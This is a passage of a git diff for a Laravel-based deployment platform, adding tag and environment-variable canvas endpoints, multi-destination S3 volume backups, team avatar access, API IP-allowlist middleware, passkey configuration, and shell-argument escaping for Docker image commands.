true)); + if ($references->where('is_preview', false)->isEmpty()) { + return response()->json(['message' => 'Link not found.'], 404); + } + $embedded = $references->reject(fn (EnvironmentVariable $environmentVariable) => $this->canvas->isExactReference($scope, $key, $environmentVariable->value)); + if ($embedded->isNotEmpty()) { + $message = "{$embedded->pluck('key')->unique()->join(', ')} on {$resource->name} uses {$this->canvas->reference($scope, $key)} inside a longer value. Edit it on the resource."; + + return response()->json(['message' => $message], 422); + } + if ($this->usesDockerCompose($resource)) { + foreach ($references->pluck('key')->unique() as $environmentKey) { + [$isUsed, $reason] = $this->isEnvironmentVariableUsedInDockerCompose($environmentKey, $resource->docker_compose); + if ($isUsed) { + return response()->json(['message' => "Cannot remove {$environmentKey} from {$resource->name}. {$reason}"], 422); + } + } + } + + DB::transaction(fn () => $references->each->delete()); + + return response()->json(['message' => 'Link removed.']); + } + + /** + * The team routes have no {scope} segment. + */ + private function scope(Request $request): string + { + return $request->route('scope') ?? 'team'; + } + + private function findOwner(string $scope, ?string $uuid): Model|JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + $owner = match ($scope) { + 'team' => Team::query()->find($teamId), + 'project' => Project::query()->where('team_id', $teamId)->where('uuid', $uuid)->first(), + 'environment' => Environment::query()->where('uuid', $uuid)->whereHas('project', fn ($query) => $query->where('team_id', $teamId))->with('project')->first(), + 'server' => Server::query()->where('team_id', $teamId)->where('uuid', $uuid)->first(), + default => null, + }; + + return $owner ?? response()->json(['message' => str($scope)->headline().' not found.'], 404); + } + + private function findVariable(Model $owner, ?string $nodeId): ?SharedEnvironmentVariable + { + if (! str_starts_with((string) $nodeId, 'variable:')) { + return null; + } + + return $owner->environment_variables()->whereKey((int) substr($nodeId, strlen('variable:')))->first(); + } + + private function canEdit(Request $request, string $scope, Model $owner): bool + { + $user = $request->user(); + $token = $user->currentAccessToken(); + + return $user->isAdminOfTeam($this->canvas->teamId($scope, $owner)) + && ($token->can('root') || $token->can('write')); + } + + private function usesDockerCompose(Model $resource): bool + { + return $resource instanceof Service + || ($resource instanceof Application && $resource->build_pack === 'dockercompose'); + } +} diff --git a/app/Http/Controllers/Api/TagCanvasController.php b/app/Http/Controllers/Api/TagCanvasController.php new file mode 100644 index 0000000000..09864d2b8d --- /dev/null +++ b/app/Http/Controllers/Api/TagCanvasController.php @@ -0,0 +1,107 @@ +authorize('viewAny', Tag::class); + + $user = $request->user(); + $token = $user->currentAccessToken(); + $canEdit = $user->isAdminOfTeam((int) $teamId) && ($token->can('root') || $token->can('write')); + + return response()->json($this->canvas->payload((int) $teamId, $canEdit)); + } + + public function storeLink(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $return = validateIncomingRequest($request); + if ($return instanceof JsonResponse) { + return $return; + } + $validator = Validator::make($request->all(), [ + 'source' => ['required', 'string', 'max:255'], + 'target' => ['required', 'string', 'max:255'], + ]); + if ($validator->fails()) { + return response()->json(['message' => 'Validation failed.', 'errors' => $validator->errors()], 422); + } + + $tag = $this->findTag((int) $teamId, $request->input('source')); + $resource = $this->canvas->resources((int) $teamId)->get($request->input('target')); + $errors = []; + if (! $tag) { + $errors['source'] = ['The source must be a tag of this team.']; + } + if (! $resource) { + $errors['target'] = ['The target must be a resource of this team.']; + } + if ($errors !== []) { + return response()->json(['message' => 'Validation failed.', 'errors' => $errors], 422); + } + $this->authorize('update', $resource); + + if ($resource->tags->contains('id', $tag->id)) { + $message = "{$resource->name} already has the {$tag->name} tag."; + + return response()->json(['message' => $message, 'errors' => ['target' => [$message]]], 422); + } + $resource->tags()->attach($tag->id); + + return response()->json($this->canvas->link($tag, $resource), 201); + } + + public function destroyLink(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + [$source, $target] = array_pad(explode('|', (string) $request->route('link_id'), 2), 2, ''); + $tag = $this->findTag((int) $teamId, $source); + $resource = $this->canvas->resources((int) $teamId)->get($target); + if (! $tag || ! $resource || ! $resource->tags->contains('id', $tag->id)) { + return response()->json(['message' => 'Link not found.'], 404); + } + $this->authorize('update', $resource); + + // The tag stays, also without resources. Delete it on the Tags page. + $resource->tags()->detach($tag->id); + + return response()->json(['message' => 'Link removed.']); + } + + private function findTag(int $teamId, ?string $nodeId): ?Tag + { + if (! str_starts_with((string) $nodeId, 'tag:')) { + return null; + } + + return Tag::query()->where('team_id', $teamId)->where('uuid', substr($nodeId, strlen('tag:')))->first(); + } +} diff --git a/app/Http/Controllers/Api/VolumeBackupsController.php b/app/Http/Controllers/Api/VolumeBackupsController.php index e3b48a367a..a199f530db 100644 --- a/app/Http/Controllers/Api/VolumeBackupsController.php +++ b/app/Http/Controllers/Api/VolumeBackupsController.php @@ -14,6 +14,7 @@ use App\Models\Service; use Illuminate\Database\Eloquent\Model; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; +use Illuminate\Support\Collection; use Illuminate\Support\MessageBag; use OpenApi\Attributes as OA; use RuntimeException; @@ -27,7 +28,8 @@ use RuntimeException; new OA\Property(property: 'save_s3', type: 'boolean', default: false), new OA\Property(property: 'disable_local_backup', type: 'boolean', default: false), new OA\Property(property: 'stop_during_backup', type: 'boolean', default: false), - new OA\Property(property: 's3_storage_uuid', type: 'string', nullable: true), + new OA\Property(property: 's3_storage_uuid', type: 'string', nullable: true, description: 'Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination.'), + new OA\Property(property: 's3_storage_uuids', type: 'array', items: new OA\Items(type: 'string'), description: 'UUIDs of every S3 storage the backup is uploaded to. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination. save_s3 requires at least one destination.'), new OA\Property(property: 'retention_amount_locally', type: 'integer', default: 7, minimum: 0, maximum: 10000), new OA\Property(property: 'retention_days_locally', type: 'integer', default: 0, maximum: 2147483647, minimum: 0), new OA\Property(property: 'retention_max_storage_locally', type: 'number', format: 'float', default: 0, maximum: 9999999999, minimum: 0), @@ -53,7 +55,8 @@ use RuntimeException; new OA\Property(property: 'save_s3', type: 'boolean'), new OA\Property(property: 'disable_local_backup', type: 'boolean'), new OA\Property(property: 'stop_during_backup', type: 'boolean'), - new OA\Property(property: 's3_storage_uuid', type: 'string', nullable: true), + new OA\Property(property: 's3_storage_uuid', type: 'string', nullable: true, description: 'Primary S3 destination.'), + new OA\Property(property: 's3_storage_uuids', type: 'array', items: new OA\Items(type: 'string'), description: 'Every S3 destination, primary first.'), new OA\Property(property: 'retention_amount_locally', type: 'integer'), new OA\Property(property: 'retention_days_locally', type: 'integer'), new OA\Property(property: 'retention_max_storage_locally', type: 'number', format: 'float'), @@ -165,7 +168,7 @@ class VolumeBackupsController extends Controller return response()->json(['message' => 'Storage not found.'], 404); } - ['errors' => $errors, 's3Storage' => $s3Storage, 'saveToS3' => $saveToS3] = $this->validateUpsertRequest($request, $storage, $teamId); + ['errors' => $errors, 's3Storages' => $s3Storages, 'saveToS3' => $saveToS3] = $this->validateUpsertRequest($request, $storage, $teamId); if ($errors->isNotEmpty()) { return response()->json([ @@ -174,11 +177,11 @@ class VolumeBackupsController extends Controller ], 422); } - return $this->persistSchedule($request, $storage, $teamId, $s3Storage, $saveToS3, $resourceType, $resource); + return $this->persistSchedule($request, $storage, $teamId, $s3Storages, $saveToS3, $resourceType, $resource); } /** - * @return array{errors: MessageBag, s3Storage: S3Storage|null, saveToS3: bool} + * @return array{errors: MessageBag, s3Storages: Collection, saveToS3: bool} */ private function validateUpsertRequest( Request $request, @@ -192,6 +195,8 @@ class VolumeBackupsController extends Controller 'disable_local_backup' => 'boolean', 'stop_during_backup' => 'boolean', 's3_storage_uuid' => 'nullable|string', + 's3_storage_uuids' => 'array', + 's3_storage_uuids.*' => 'string|distinct', 'retention_amount_locally' => 'integer|min:0|max:10000', 'retention_days_locally' => 'integer|min:0|max:2147483647', 'retention_max_storage_locally' => 'numeric|min:0|max:9999999999', @@ -209,6 +214,7 @@ class VolumeBackupsController extends Controller 'disable_local_backup', 'stop_during_backup', 's3_storage_uuid', + 's3_storage_uuids', 'retention_amount_locally', 'retention_days_locally', 'retention_max_storage_locally', @@ -232,16 +238,24 @@ class VolumeBackupsController extends Controller $errors->add('disable_local_backup', 'Local backups can only be disabled when S3 backups are enabled.'); } - $s3Storage = null; - if ($saveToS3) { - $s3Storage = S3Storage::query() + $s3Storages = collect(); + if ($saveToS3 && ! $errors->hasAny(['s3_storage_uuid', 's3_storage_uuids', 's3_storage_uuids.*'])) { + $hasList = $request->has('s3_storage_uuids'); + $uuids = collect($hasList ? $request->input('s3_storage_uuids') : [$request->input('s3_storage_uuid')])->filter()->unique()->values(); + $primaryUuid = $request->input('s3_storage_uuid') ?? $uuids->first(); + + $s3Storages = S3Storage::query() ->where('team_id', $teamId) ->where('is_usable', true) - ->where('uuid', $request->input('s3_storage_uuid')) - ->first(); + ->whereIn('uuid', $uuids->all()) + ->get() + ->sortBy(fn (S3Storage $s3Storage): int => $s3Storage->uuid === $primaryUuid ? 0 : 1) + ->values(); - if (! $s3Storage) { - $errors->add('s3_storage_uuid', 'Select a usable S3 storage owned by your team.'); + if ($hasList && filled($primaryUuid) && ! $uuids->contains($primaryUuid)) { + $errors->add('s3_storage_uuid', 'The s3_storage_uuid must be one of the s3_storage_uuids.'); + } elseif ($uuids->isEmpty() || $s3Storages->count() !== $uuids->count()) { + $errors->add($hasList ? 's3_storage_uuids' : 's3_storage_uuid', 'Select a usable S3 storage owned by your team.'); } } @@ -251,7 +265,7 @@ class VolumeBackupsController extends Controller return [ 'errors' => $errors, - 's3Storage' => $s3Storage, + 's3Storages' => $s3Storages, 'saveToS3' => $saveToS3, ]; } @@ -260,7 +274,7 @@ class VolumeBackupsController extends Controller Request $request, LocalPersistentVolume|LocalFileVolume $storage, int|string $teamId, - ?S3Storage $s3Storage, + Collection $s3Storages, bool $saveToS3, string $resourceType, Model $resource, @@ -272,7 +286,7 @@ class VolumeBackupsController extends Controller 'save_s3' => $saveToS3, 'disable_local_backup' => $saveToS3 && $request->boolean('disable_local_backup'), 'stop_during_backup' => $request->boolean('stop_during_backup'), - 's3_storage_id' => $s3Storage?->id, + 's3_storage_id' => $s3Storages->first()?->id, 'retention_amount_locally' => $request->integer('retention_amount_locally', 7), 'retention_days_locally' => $request->integer('retention_days_locally'), 'retention_max_storage_locally' => $request->float('retention_max_storage_locally'), @@ -288,6 +302,7 @@ class VolumeBackupsController extends Controller } $backup = $storage->scheduledBackups()->updateOrCreate([], $attributes); + $backup->syncS3Storages($s3Storages->pluck('id')->all()); $created = $backup->wasRecentlyCreated; auditLog('api.volume_backup.schedule_set', [ @@ -298,7 +313,7 @@ class VolumeBackupsController extends Controller 'backup_uuid' => $backup->uuid, ]); - return response()->json($this->responseData($backup, $storage, $s3Storage, $created), $created ? 201 : 200); + return response()->json($this->responseData($backup, $storage, $s3Storages, $created), $created ? 201 : 200); } #[OA\Delete( @@ -431,7 +446,7 @@ class VolumeBackupsController extends Controller private function responseData( ScheduledVolumeBackup $backup, LocalPersistentVolume|LocalFileVolume $storage, - ?S3Storage $s3Storage, + Collection $s3Storages, bool $created, ): array { return [ @@ -444,7 +459,8 @@ class VolumeBackupsController extends Controller 'save_s3' => $backup->save_s3, 'disable_local_backup' => $backup->disable_local_backup, 'stop_during_backup' => $backup->stop_during_backup, - 's3_storage_uuid' => $s3Storage?->uuid, + 's3_storage_uuid' => $s3Storages->first()?->uuid, + 's3_storage_uuids' => $s3Storages->pluck('uuid')->all(), 'retention_amount_locally' => $backup->retention_amount_locally, 'retention_days_locally' => $backup->retention_days_locally, 'retention_max_storage_locally' => $backup->retention_max_storage_locally, diff --git a/app/Http/Controllers/ProfileAvatarController.php b/app/Http/Controllers/ProfileAvatarController.php index f53cef7c51..d390c26b3a 100644 --- a/app/Http/Controllers/ProfileAvatarController.php +++ b/app/Http/Controllers/ProfileAvatarController.php @@ -2,14 +2,24 @@ namespace App\Http\Controllers; +use App\Models\User; use App\Services\AvatarStorageService; use Illuminate\Http\Response; class ProfileAvatarController extends Controller { - public function __invoke(AvatarStorageService $avatarStorage): Response + public function __invoke(AvatarStorageService $avatarStorage, ?int $user_id = null): Response { - $contents = $avatarStorage->contents(auth()->user()); + $user = auth()->user(); + + if ($user_id !== null && $user_id !== $user->id) { + $user = User::query() + ->whereKey($user_id) + ->whereHas('teams', fn ($query) => $query->whereIn('teams.id', auth()->user()->teams()->select('teams.id'))) + ->firstOrFail(); + } + + $contents = $avatarStorage->contents($user); abort_if($contents === null, 404); return response($contents, 200, [ diff --git a/app/Http/Controllers/TeamAvatarController.php b/app/Http/Controllers/TeamAvatarController.php new file mode 100644 index 0000000000..3dfed60b27 --- /dev/null +++ b/app/Http/Controllers/TeamAvatarController.php @@ -0,0 +1,22 @@ +user()->teams()->whereKey($team_id)->firstOrFail(); + $contents = $avatarStorage->teamContents($team); + + abort_if($contents === null, 404); + + return response($contents, 200, [ + 'Content-Type' => 'image/jpeg', + 'Cache-Control' => 'private, max-age=31536000, immutable', + ]); + } +} diff --git a/app/Http/Controllers/Webhook/Github.php b/app/Http/Controllers/Webhook/Github.php index 009b11f299..ba270cf688 100644 --- a/app/Http/Controllers/Webhook/Github.php +++ b/app/Http/Controllers/Webhook/Github.php @@ -26,6 +26,7 @@ use Illuminate\Http\Request; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Http; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Str; class Github extends Controller @@ -747,11 +748,21 @@ class Github extends Controller action: 'install', ); - abort_unless( - $this->githubInstallationBelongsToApp($github_app, $installation_id), - 403, - 'GitHub App installation could not be verified.' - ); + $verification_error = $this->githubInstallationVerificationError($github_app, $installation_id); + if ($verification_error) { + Log::warning('GitHub App installation could not be verified.', [ + 'github_app_id' => $github_app->id, + 'installation_id' => $installation_id, + 'reason' => $verification_error, + ]); + + $message = "GitHub App installation could not be verified: {$verification_error}"; + abort_if($request->expectsJson(), 403, $message); + + return redirect() + ->route('source.github.show', ['github_app_uuid' => $github_app->uuid]) + ->with('error', $message); + } $github_app->installation_id = $installation_id; $github_app->save(); @@ -778,11 +789,13 @@ class Github extends Controller * The installation id arrives as an untrusted query parameter on an * unauthenticated-reachable GET callback, so it must be confirmed against * the GitHub API using the App's own credentials before it is persisted. + * + * @return string|null The reason the verification failed, or null when it passed. */ - private function githubInstallationBelongsToApp(GithubApp $github_app, string $installation_id): bool + private function githubInstallationVerificationError(GithubApp $github_app, string $installation_id): ?string { - if (blank($github_app->app_id) || blank($github_app->privateKey?->private_key)) { - return false; + if (blank($github_app->app_id) || blank(githubAppPrivateKey($github_app)?->private_key)) { + return 'The GitHub App ID or private key is missing.'; } try { @@ -794,12 +807,19 @@ class Github extends Controller ->timeout(10) ->connectTimeout(5) ->get("{$github_app->api_url}/app/installations/{$installation_id}"); - - return $response->successful() - && (string) data_get($response->json(), 'app_id') === (string) $github_app->app_id; - } catch (\Throwable) { - return false; + } catch (\Throwable $e) { + return strip_tags(str_replace('
', ' ', $e->getMessage())); } + + if (! $response->successful()) { + return "GitHub API returned HTTP {$response->status()}: ".data_get($response->json(), 'message', 'no error message found'); + } + + if ((string) data_get($response->json(), 'app_id') !== (string) $github_app->app_id) { + return 'The installation belongs to a different GitHub App.'; + } + + return null; } private function consumeGithubAppSetupState(Request $request, string $state, string $action): GithubApp @@ -813,12 +833,20 @@ class Github extends Controller $this->rejectInvalidGithubAppSetupState($request); } - $team_id = $request->user()?->currentTeam()?->id; - abort_unless(! is_null($team_id) && (int) data_get($payload, 'team_id') === $team_id, 403); + // The state is bound to the team that started the setup. The user may have switched + // teams while on GitHub, so check membership of that team, not the session team. + $team_id = (int) data_get($payload, 'team_id'); + abort_unless((bool) $request->user()?->teams->contains('id', $team_id), 403); - return GithubApp::whereKey(data_get($payload, 'github_app_id')) - ->where('team_id', data_get($payload, 'team_id')) + $github_app = GithubApp::whereKey(data_get($payload, 'github_app_id')) + ->where('team_id', $team_id) ->firstOrFail(); + + if ($request->user()->currentTeam()?->id !== $team_id) { + refreshSession($github_app->team); + } + + return $github_app; } private function rejectInvalidGithubAppSetupState(Request $request): never diff --git a/app/Http/Kernel.php b/app/Http/Kernel.php index bfb98ede79..2e6c36b722 100644 --- a/app/Http/Kernel.php +++ b/app/Http/Kernel.php @@ -4,6 +4,7 @@ namespace App\Http; use App\Http\Middleware\AddServerTimingHeaders; use App\Http\Middleware\ApiAbility; +use App\Http\Middleware\ApiIpAllowed; use App\Http\Middleware\ApiSensitiveData; use App\Http\Middleware\Authenticate; use App\Http\Middleware\CanAccessTerminal; @@ -114,6 +115,7 @@ class Kernel extends HttpKernel 'can.update.resource' => CanUpdateResource::class, 'can.access.terminal' => CanAccessTerminal::class, 'mcp.enabled' => EnsureMcpEnabled::class, + 'api.ip.allowed' => ApiIpAllowed::class, 'mcp.team.enabled' => EnsureTeamMcpEnabled::class, ]; } diff --git a/app/Http/Middleware/ApiAllowed.php b/app/Http/Middleware/ApiAllowed.php index 21441a117b..541bf3919a 100644 --- a/app/Http/Middleware/ApiAllowed.php +++ b/app/Http/Middleware/ApiAllowed.php @@ -13,26 +13,14 @@ class ApiAllowed if (isCloud()) { return $next($request); } - $settings = instanceSettings(); - if ($settings->is_api_enabled === false) { + + // MCP write tools run REST routes internally; MCP has its own enable switch. + $isMcpRestBridge = $request->attributes->get('mcp_rest_bridge') === true; + + if (! $isMcpRestBridge && instanceSettings()->is_api_enabled === false) { return response()->json(['success' => true, 'message' => 'API is disabled.'], 403); } - if ($settings->allowed_ips) { - // Check for special case: 0.0.0.0 means allow all - if (trim($settings->allowed_ips) === '0.0.0.0') { - return $next($request); - } - - $allowedIps = explode(',', $settings->allowed_ips); - $allowedIps = array_map('trim', $allowedIps); - $allowedIps = array_filter($allowedIps); // Remove empty entries - - if (! empty($allowedIps) && ! checkIPAgainstAllowlist($request->ip(), $allowedIps)) { - return response()->json(['success' => true, 'message' => 'You are not allowed to access the API.'], 403); - } - } - - return $next($request); + return app(ApiIpAllowed::class)->handle($request, $next); } } diff --git a/app/Http/Middleware/ApiIpAllowed.php b/app/Http/Middleware/ApiIpAllowed.php new file mode 100644 index 0000000000..da2d009576 --- /dev/null +++ b/app/Http/Middleware/ApiIpAllowed.php @@ -0,0 +1,35 @@ +allowed_ips; + if (! $allowedIps) { + return $next($request); + } + + // Check for special case: 0.0.0.0 means allow all + if (trim($allowedIps) === '0.0.0.0') { + return $next($request); + } + + $allowedIps = array_filter(array_map('trim', explode(',', $allowedIps))); + + if (! empty($allowedIps) && ! checkIPAgainstAllowlist($request->ip(), $allowedIps)) { + return response()->json(['success' => true, 'message' => 'You are not allowed to access the API.'], 403); + } + + return $next($request); + } +} diff --git a/app/Http/Middleware/CanAccessTerminal.php b/app/Http/Middleware/CanAccessTerminal.php index 348f389ea9..94dbae9874 100644 --- a/app/Http/Middleware/CanAccessTerminal.php +++ b/app/Http/Middleware/CanAccessTerminal.php @@ -11,7 +11,7 @@ class CanAccessTerminal /** * Handle an incoming request. * - * @param \Closure(\Illuminate\Http\Request): (\Symfony\Component\HttpFoundation\Response) $next + * @param Closure(Request): (Response) $next */ public function handle(Request $request, Closure $next): Response { diff --git a/app/Http/Middleware/CheckForcePasswordReset.php b/app/Http/Middleware/CheckForcePasswordReset.php index c857cb8363..ad7f6aa42c 100644 --- a/app/Http/Middleware/CheckForcePasswordReset.php +++ b/app/Http/Middleware/CheckForcePasswordReset.php @@ -11,7 +11,7 @@ class CheckForcePasswordReset /** * Handle an incoming request. * - * @param \Closure(\Illuminate\Http\Request): (\Symfony\Component\HttpFoundation\Response) $next + * @param Closure(Request): (Response) $next */ public function handle(Request $request, Closure $next): Response { diff --git a/app/Http/Middleware/ConfigurePasskeys.php b/app/Http/Middleware/ConfigurePasskeys.php new file mode 100644 index 0000000000..e5465c28a4 --- /dev/null +++ b/app/Http/Middleware/ConfigurePasskeys.php @@ -0,0 +1,28 @@ +routeIs('passkey.*')) { + return $next($request); + } + + $relyingParty = instanceSettings()->is_passkey_enabled ? PasskeyRelyingParty::resolve($request) : null; + abort_if($relyingParty === null, 404); + + config([ + 'passkeys.relying_party_id' => $relyingParty['id'], + 'passkeys.allowed_origins' => $relyingParty['origins'], + ]); + + return $next($request); + } +} diff --git a/app/Http/Middleware/RedirectIfAuthenticated.php b/app/Http/Middleware/RedirectIfAuthenticated.php index afc78c4e53..b92e43f7ec 100644 --- a/app/Http/Middleware/RedirectIfAuthenticated.php +++ b/app/Http/Middleware/RedirectIfAuthenticated.php @@ -13,7 +13,7 @@ class RedirectIfAuthenticated /** * Handle an incoming request. * - * @param \Closure(\Illuminate\Http\Request): (\Symfony\Component\HttpFoundation\Response) $next + * @param Closure(Request): (Response) $next */ public function handle(Request $request, Closure $next, string ...$guards): Response { diff --git a/app/Http/Middleware/UseSessionTeamApiToken.php b/app/Http/Middleware/UseSessionTeamApiToken.php new file mode 100644 index 0000000000..821b4e5f0f --- /dev/null +++ b/app/Http/Middleware/UseSessionTeamApiToken.php @@ -0,0 +1,51 @@ +user(); + $teamId = $request->header('X-Canvas-Team'); + + if (! $user) { + return response()->json(['message' => 'Unauthenticated.'], 401); + } + if (! is_string($teamId) || ! ctype_digit($teamId)) { + return response()->json(['message' => 'Missing canvas team.'], 400); + } + $teamId = (int) $teamId; + + $abilities = $user->isAdminOfTeam($teamId) + ? ['read', 'write', 'deploy', 'read:sensitive'] + : ['read']; + + $token = new PersonalAccessToken; + $token->forceFill([ + 'name' => 'deploy-canvas-session', + 'team_id' => $teamId, + 'abilities' => $abilities, + ]); + $user->withAccessToken($token); + + return $next($request); + } +} diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 1469adb2c5..9287e2030d 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -34,6 +34,7 @@ use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; +use Illuminate\Queue\TimeoutExceededException; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Sleep; @@ -215,8 +216,6 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue private bool $dockerSecretsSupported = false; - private bool $dockerSecretsAvailable = false; - private bool $useBuildtimeEnvironmentLauncher = false; private bool $skip_build = false; @@ -505,7 +504,6 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $this->dockerBuildkitSupported = false; $this->dockerBuildxAvailable = false; $this->dockerSecretsSupported = false; - $this->dockerSecretsAvailable = false; $serverToCheck = $this->use_build_server ? $this->build_server : $this->server; $serverName = $this->use_build_server ? "build server ({$serverToCheck->name})" : "deployment server ({$serverToCheck->name})"; @@ -557,19 +555,16 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue } } - if ($this->dockerBuildkitSupported) { + if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported) { $secretsTest = instant_remote_process( ["docker build --help 2>&1 | grep -q 'secret' && echo 'supported' || echo 'not-supported'"], $serverToCheck ); if (trim($secretsTest) === 'supported') { - $this->dockerSecretsAvailable = true; - if ($this->application->settings->use_build_secrets) { - $this->dockerSecretsSupported = true; - $this->application_deployment_queue->addLogEntry('Build secrets are enabled and will be used for enhanced security.'); - } - } elseif ($this->application->settings->use_build_secrets) { + $this->dockerSecretsSupported = true; + $this->application_deployment_queue->addLogEntry('Build secrets are enabled and will be used for enhanced security.'); + } else { $this->application_deployment_queue->addLogEntry("Docker on {$serverName} does not support build secrets. Using traditional build arguments."); } } @@ -577,7 +572,6 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $this->dockerBuildkitSupported = false; $this->dockerBuildxAvailable = false; $this->dockerSecretsSupported = false; - $this->dockerSecretsAvailable = false; $this->application_deployment_queue->addLogEntry("Could not detect BuildKit capabilities on {$serverName}: {$e->getMessage()}"); } } @@ -1332,7 +1326,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $this->application_deployment_queue->addLogEntry("Pushing image to docker registry ({$this->production_image_name})."); $this->execute_remote_command( [ - executeInDocker($this->deployment_uuid, "docker push {$this->production_image_name}"), + executeInDocker($this->deployment_uuid, 'docker push '.escapeshellarg($this->production_image_name)), 'hidden' => true, ], ); @@ -1341,12 +1335,12 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $this->application_deployment_queue->addLogEntry("Tagging and pushing image with {$this->application->docker_registry_image_tag} tag."); $this->execute_remote_command( [ - executeInDocker($this->deployment_uuid, "docker tag {$this->production_image_name} {$this->application->docker_registry_image_name}:{$this->application->docker_registry_image_tag}"), + executeInDocker($this->deployment_uuid, 'docker tag '.escapeshellarg($this->production_image_name).' '.escapeshellarg("{$this->application->docker_registry_image_name}:{$this->application->docker_registry_image_tag}")), 'ignore_errors' => true, 'hidden' => true, ], [ - executeInDocker($this->deployment_uuid, "docker push {$this->application->docker_registry_image_name}:{$this->application->docker_registry_image_tag}"), + executeInDocker($this->deployment_uuid, 'docker push '.escapeshellarg("{$this->application->docker_registry_image_name}:{$this->application->docker_registry_image_tag}")), 'ignore_errors' => true, 'hidden' => true, ], @@ -1552,7 +1546,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue ]); if (str($this->saved_outputs->get('local_image_found'))->isEmpty() && $this->application->docker_registry_image_name) { $this->execute_remote_command([ - "docker pull {$this->production_image_name} 2>/dev/null", + 'docker pull '.escapeshellarg($this->production_image_name).' 2>/dev/null', 'ignore_errors' => true, 'hidden' => true, ]); @@ -1767,7 +1761,11 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue }); foreach ($runtime_environment_variables as $env) { - $envs->push($env->key.'='.$this->resolve_environment_variable($env)); + if ($this->shouldOmitBlankComposeEnvironmentVariable($env)) { + continue; + } + + $envs->push($this->runtimeEnvironmentAssignment($env)); } // Check for PORT environment variable mismatch with ports_exposes @@ -1834,7 +1832,11 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue }); foreach ($runtime_environment_variables_preview as $env) { - $envs->push($env->key.'='.$this->resolve_environment_variable($env)); + if ($this->shouldOmitBlankComposeEnvironmentVariable($env)) { + continue; + } + + $envs->push($this->runtimeEnvironmentAssignment($env)); } // Fall back to production env vars for keys not overridden by preview vars, @@ -1848,7 +1850,11 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue return $env->is_runtime && ! in_array($env->key, $previewKeys); }); foreach ($fallback_production_vars as $env) { - $envs->push($env->key.'='.$this->resolve_environment_variable($env)); + if ($this->shouldOmitBlankComposeEnvironmentVariable($env)) { + continue; + } + + $envs->push($this->runtimeEnvironmentAssignment($env)); } } @@ -1868,6 +1874,32 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue return $envs; } + /** + * A KEY="value" line for the runtime .env file, which Docker Compose reads. Variables saved + * before exact escaping keep the old line, so their containers get the same value as before. + */ + private function runtimeEnvironmentAssignment(EnvironmentVariable $environmentVariable): string + { + if (! $this->application->useExactEscaping($environmentVariable)) { + return $environmentVariable->key.'='.$this->resolve_environment_variable($environmentVariable); + } + + $resolvedValue = (string) $environmentVariable->get_real_environment_variables_with_server( + $environmentVariable->value, + $this->application, + $this->mainServer, + ); + + if (RemoteSecretReferences::containsReference($environmentVariable->value) || RemoteSecretReferences::containsReference($resolvedValue)) { + return $environmentVariable->key.'='.escapeComposeEnvFileValue($this->resolve_environment_variable_raw($environmentVariable)); + } + + return $environmentVariable->key.'='.escapeComposeEnvFileValue( + $resolvedValue, + allowInterpolation: $this->application->environmentVariableAllowsInterpolation($environmentVariable, $resolvedValue), + ); + } + private function isGeneratedDockerComposeEnvironmentVariable(EnvironmentVariable $environmentVariable): bool { $key = str($environmentVariable->key); @@ -1877,6 +1909,15 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue || $key->startsWith('SERVICE_NAME_'); } + private function shouldOmitBlankComposeEnvironmentVariable(EnvironmentVariable $environmentVariable): bool + { + return $this->build_pack === 'dockercompose' && ! $environmentVariable->preservesLegacyComposeNull() && dockerComposeEnvironmentVariableShouldBeUnset( + $this->application->docker_compose_raw ?? $this->application->docker_compose, + $environmentVariable->key, + $environmentVariable->value + ); + } + private function save_runtime_environment_variables() { // This method saves the .env file with ALL runtime variables @@ -2108,6 +2149,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue ->where('is_buildtime', true) // ONLY build-time variables ->orderBy($this->application->settings->is_env_sorting_enabled ? 'key' : 'id') ->get(); + $sorted_environment_variables = $this->withoutLegacyEnvironmentVariableKeys($sorted_environment_variables); // For Docker Compose, filter out generated SERVICE_* variables as we generate these if ($this->build_pack === 'dockercompose') { @@ -2115,6 +2157,10 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue } foreach ($sorted_environment_variables as $env) { + if ($this->shouldOmitBlankComposeEnvironmentVariable($env)) { + continue; + } + if ($this->build_pack === 'railpack' && $this->is_reserved_docker_client_env_key($env->key)) { continue; } @@ -2166,6 +2212,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue ->where('is_buildtime', true) // ONLY build-time variables ->orderBy($this->application->settings->is_env_sorting_enabled ? 'key' : 'id') ->get(); + $sorted_environment_variables = $this->withoutLegacyEnvironmentVariableKeys($sorted_environment_variables); // For Docker Compose, filter out generated SERVICE_* variables as we generate these with PR-specific values if ($this->build_pack === 